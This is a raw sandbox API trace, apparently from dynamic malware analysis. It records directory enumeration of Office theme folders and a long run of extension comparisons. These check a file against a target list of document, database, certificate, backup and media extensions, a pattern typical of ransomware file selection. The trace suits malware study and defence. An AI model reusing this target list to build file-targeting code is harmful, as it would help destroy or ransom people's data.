Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0038.165] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.165] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0038.454] FindNextFileW (in: hFindFile=0x3ed11b8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.454] FindNextFileW (in: hFindFile=0x3ed11b8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0039.465] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0039.465] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0039.465] lstrlenW (lpString=".1cd") returned 4 [0039.465] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".3ds") returned 4 [0039.465] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".3fr") returned 4 [0039.465] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".3g2") returned 4 [0039.465] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".3gp") returned 4 [0039.465] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".7z") returned 3 [0039.465] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.465] lstrlenW (lpString=".accda") returned 6 [0039.465] lstrcmpiW (lpString1=".accda", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".accdb") returned 6 [0039.465] lstrcmpiW (lpString1=".accdb", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".accdc") returned 6 [0039.465] lstrcmpiW (lpString1=".accdc", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".accde") returned 6 [0039.465] lstrcmpiW (lpString1=".accde", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".accdt") returned 6 [0039.465] lstrcmpiW (lpString1=".accdt", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".accdw") returned 6 [0039.465] lstrcmpiW (lpString1=".accdw", lpString2="ic.png") returned -1 [0039.465] lstrlenW (lpString=".adb") returned 4 [0039.465] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".adp") returned 4 [0039.465] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai") returned 3 [0039.465] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.465] lstrlenW (lpString=".ai3") returned 4 [0039.465] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai4") returned 4 [0039.465] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai5") returned 4 [0039.465] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai6") returned 4 [0039.465] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai7") returned 4 [0039.465] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".ai8") returned 4 [0039.465] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0039.465] lstrlenW (lpString=".anim") returned 5 [0039.465] lstrcmpiW (lpString1=".anim", lpString2="c.png") returned -1 [0039.465] lstrlenW (lpString=".arw") returned 4 [0039.466] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".as") returned 3 [0039.466] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0039.466] lstrlenW (lpString=".asa") returned 4 [0039.466] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".asc") returned 4 [0039.466] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".ascx") returned 5 [0039.466] lstrcmpiW (lpString1=".ascx", lpString2="c.png") returned -1 [0039.466] lstrlenW (lpString=".asm") returned 4 [0039.466] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".asmx") returned 5 [0039.466] lstrcmpiW (lpString1=".asmx", lpString2="c.png") returned -1 [0039.466] lstrlenW (lpString=".asp") returned 4 [0039.466] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".aspx") returned 5 [0039.466] lstrcmpiW (lpString1=".aspx", lpString2="c.png") returned -1 [0039.466] lstrlenW (lpString=".asr") returned 4 [0039.466] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".asx") returned 4 [0039.466] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".avi") returned 4 [0039.466] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".avs") returned 4 [0039.466] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".backup") returned 7 [0039.466] lstrcmpiW (lpString1=".backup", lpString2="hic.png") returned -1 [0039.466] lstrlenW (lpString=".bak") returned 4 [0039.466] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".bay") returned 4 [0039.466] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".bd") returned 3 [0039.466] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0039.466] lstrlenW (lpString=".bin") returned 4 [0039.466] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".bmp") returned 4 [0039.466] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".bz2") returned 4 [0039.466] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".c") returned 2 [0039.466] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0039.466] lstrlenW (lpString=".cdr") returned 4 [0039.466] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".cer") returned 4 [0039.466] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".cf") returned 3 [0039.466] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0039.466] lstrlenW (lpString=".cfc") returned 4 [0039.466] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".cfm") returned 4 [0039.466] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0039.466] lstrlenW (lpString=".cfml") returned 5 [0039.466] lstrcmpiW (lpString1=".cfml", lpString2="c.png") returned -1 [0039.466] lstrlenW (lpString=".cfu") returned 4 [0039.466] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".chm") returned 4 [0039.467] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".cin") returned 4 [0039.467] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".class") returned 6 [0039.467] lstrcmpiW (lpString1=".class", lpString2="ic.png") returned -1 [0039.467] lstrlenW (lpString=".clx") returned 4 [0039.467] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".config") returned 7 [0039.467] lstrcmpiW (lpString1=".config", lpString2="hic.png") returned -1 [0039.467] lstrlenW (lpString=".cpp") returned 4 [0039.467] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".cr2") returned 4 [0039.467] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".crt") returned 4 [0039.467] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".crw") returned 4 [0039.467] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".cs") returned 3 [0039.467] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0039.467] lstrlenW (lpString=".css") returned 4 [0039.467] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".csv") returned 4 [0039.467] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".cub") returned 4 [0039.467] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dae") returned 4 [0039.467] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dat") returned 4 [0039.467] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".db") returned 3 [0039.467] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0039.467] lstrlenW (lpString=".dbf") returned 4 [0039.467] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dbx") returned 4 [0039.467] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dc3") returned 4 [0039.467] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dcm") returned 4 [0039.467] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dcr") returned 4 [0039.467] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".der") returned 4 [0039.467] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dib") returned 4 [0039.467] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dic") returned 4 [0039.467] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".dif") returned 4 [0039.467] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0039.467] lstrlenW (lpString=".divx") returned 5 [0039.467] lstrcmpiW (lpString1=".divx", lpString2="c.png") returned -1 [0039.467] lstrlenW (lpString=".djvu") returned 5 [0039.467] lstrcmpiW (lpString1=".djvu", lpString2="c.png") returned -1 [0039.467] lstrlenW (lpString=".dng") returned 4 [0039.468] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".doc") returned 4 [0039.468] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".docm") returned 5 [0039.468] lstrcmpiW (lpString1=".docm", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".docx") returned 5 [0039.468] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".dot") returned 4 [0039.468] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dotm") returned 5 [0039.468] lstrcmpiW (lpString1=".dotm", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".dotx") returned 5 [0039.468] lstrcmpiW (lpString1=".dotx", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".dpx") returned 4 [0039.468] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dqy") returned 4 [0039.468] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dsn") returned 4 [0039.468] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dt") returned 3 [0039.468] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0039.468] lstrlenW (lpString=".dtd") returned 4 [0039.468] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dwg") returned 4 [0039.468] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dwt") returned 4 [0039.468] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".dx") returned 3 [0039.468] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0039.468] lstrlenW (lpString=".dxf") returned 4 [0039.468] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".edml") returned 5 [0039.468] lstrcmpiW (lpString1=".edml", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".efd") returned 4 [0039.468] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".elf") returned 4 [0039.468] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".emf") returned 4 [0039.468] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".emz") returned 4 [0039.468] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".epf") returned 4 [0039.468] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".eps") returned 4 [0039.468] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".epsf") returned 5 [0039.468] lstrcmpiW (lpString1=".epsf", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".epsp") returned 5 [0039.468] lstrcmpiW (lpString1=".epsp", lpString2="c.png") returned -1 [0039.468] lstrlenW (lpString=".erf") returned 4 [0039.468] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".exr") returned 4 [0039.468] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0039.468] lstrlenW (lpString=".f4v") returned 4 [0039.468] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".fido") returned 5 [0039.469] lstrcmpiW (lpString1=".fido", lpString2="c.png") returned -1 [0039.469] lstrlenW (lpString=".flm") returned 4 [0039.469] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".flv") returned 4 [0039.469] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".frm") returned 4 [0039.469] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".fxg") returned 4 [0039.469] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".geo") returned 4 [0039.469] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".gif") returned 4 [0039.469] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".grs") returned 4 [0039.469] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".gz") returned 3 [0039.469] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0039.469] lstrlenW (lpString=".h") returned 2 [0039.469] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0039.469] lstrlenW (lpString=".hdr") returned 4 [0039.469] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".hpp") returned 4 [0039.469] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".hta") returned 4 [0039.469] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".htc") returned 4 [0039.469] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".htm") returned 4 [0039.469] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".html") returned 5 [0039.469] lstrcmpiW (lpString1=".html", lpString2="c.png") returned -1 [0039.469] lstrlenW (lpString=".icb") returned 4 [0039.469] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".ics") returned 4 [0039.469] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".iff") returned 4 [0039.469] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".inc") returned 4 [0039.469] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".indd") returned 5 [0039.469] lstrcmpiW (lpString1=".indd", lpString2="c.png") returned -1 [0039.469] lstrlenW (lpString=".ini") returned 4 [0039.469] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".iqy") returned 4 [0039.469] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".j2c") returned 4 [0039.469] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".j2k") returned 4 [0039.469] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0039.469] lstrlenW (lpString=".java") returned 5 [0039.470] lstrcmpiW (lpString1=".java", lpString2="c.png") returned -1 [0039.470] lstrlenW (lpString=".jp2") returned 4 [0039.470] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".jpc") returned 4 [0039.470] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".jpe") returned 4 [0039.470] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".jpeg") returned 5 [0039.470] lstrcmpiW (lpString1=".jpeg", lpString2="c.png") returned -1 [0039.470] lstrlenW (lpString=".jpf") returned 4 [0039.470] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".jpg") returned 4 [0039.470] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".jpx") returned 4 [0039.470] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".js") returned 3 [0039.470] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0039.470] lstrlenW (lpString=".jsf") returned 4 [0039.470] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".json") returned 5 [0039.470] lstrcmpiW (lpString1=".json", lpString2="c.png") returned -1 [0039.470] lstrlenW (lpString=".jsp") returned 4 [0039.470] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".kdc") returned 4 [0039.470] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".kmz") returned 4 [0039.470] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".kwm") returned 4 [0039.470] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".lasso") returned 6 [0039.470] lstrcmpiW (lpString1=".lasso", lpString2="ic.png") returned -1 [0039.470] lstrlenW (lpString=".lbi") returned 4 [0039.470] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".lgf") returned 4 [0039.470] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".lgp") returned 4 [0039.470] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".log") returned 4 [0039.470] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".m1v") returned 4 [0039.470] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".m4a") returned 4 [0039.470] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".m4v") returned 4 [0039.470] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".max") returned 4 [0039.470] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".md") returned 3 [0039.470] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0039.470] lstrlenW (lpString=".mda") returned 4 [0039.470] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0039.470] lstrlenW (lpString=".mdb") returned 4 [0039.470] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mde") returned 4 [0039.471] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mdf") returned 4 [0039.471] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mdw") returned 4 [0039.471] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mef") returned 4 [0039.471] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mft") returned 4 [0039.471] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mfw") returned 4 [0039.471] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mht") returned 4 [0039.471] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mhtml") returned 6 [0039.471] lstrcmpiW (lpString1=".mhtml", lpString2="ic.png") returned -1 [0039.471] lstrlenW (lpString=".mka") returned 4 [0039.471] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mkidx") returned 6 [0039.471] lstrcmpiW (lpString1=".mkidx", lpString2="ic.png") returned -1 [0039.471] lstrlenW (lpString=".mkv") returned 4 [0039.471] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mos") returned 4 [0039.471] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mov") returned 4 [0039.471] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mp3") returned 4 [0039.471] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mp4") returned 4 [0039.471] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mpeg") returned 5 [0039.471] lstrcmpiW (lpString1=".mpeg", lpString2="c.png") returned -1 [0039.471] lstrlenW (lpString=".mpg") returned 4 [0039.471] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mpv") returned 4 [0039.471] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mrw") returned 4 [0039.471] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".msg") returned 4 [0039.471] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".mxl") returned 4 [0039.471] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".myd") returned 4 [0039.471] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".myi") returned 4 [0039.471] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".nef") returned 4 [0039.471] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".nrw") returned 4 [0039.471] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".obj") returned 4 [0039.471] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".odb") returned 4 [0039.471] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0039.471] lstrlenW (lpString=".odc") returned 4 [0039.471] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".odm") returned 4 [0039.472] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".odp") returned 4 [0039.472] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".ods") returned 4 [0039.472] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".oft") returned 4 [0039.472] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".one") returned 4 [0039.472] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".onepkg") returned 7 [0039.472] lstrcmpiW (lpString1=".onepkg", lpString2="hic.png") returned -1 [0039.472] lstrlenW (lpString=".onetoc2") returned 8 [0039.472] lstrcmpiW (lpString1=".onetoc2", lpString2="phic.png") returned -1 [0039.472] lstrlenW (lpString=".opt") returned 4 [0039.472] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".oqy") returned 4 [0039.472] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".orf") returned 4 [0039.472] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".p12") returned 4 [0039.472] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".p7b") returned 4 [0039.472] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".p7c") returned 4 [0039.472] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pam") returned 4 [0039.472] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pbm") returned 4 [0039.472] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pct") returned 4 [0039.472] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pcx") returned 4 [0039.472] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pdd") returned 4 [0039.472] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pdf") returned 4 [0039.472] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 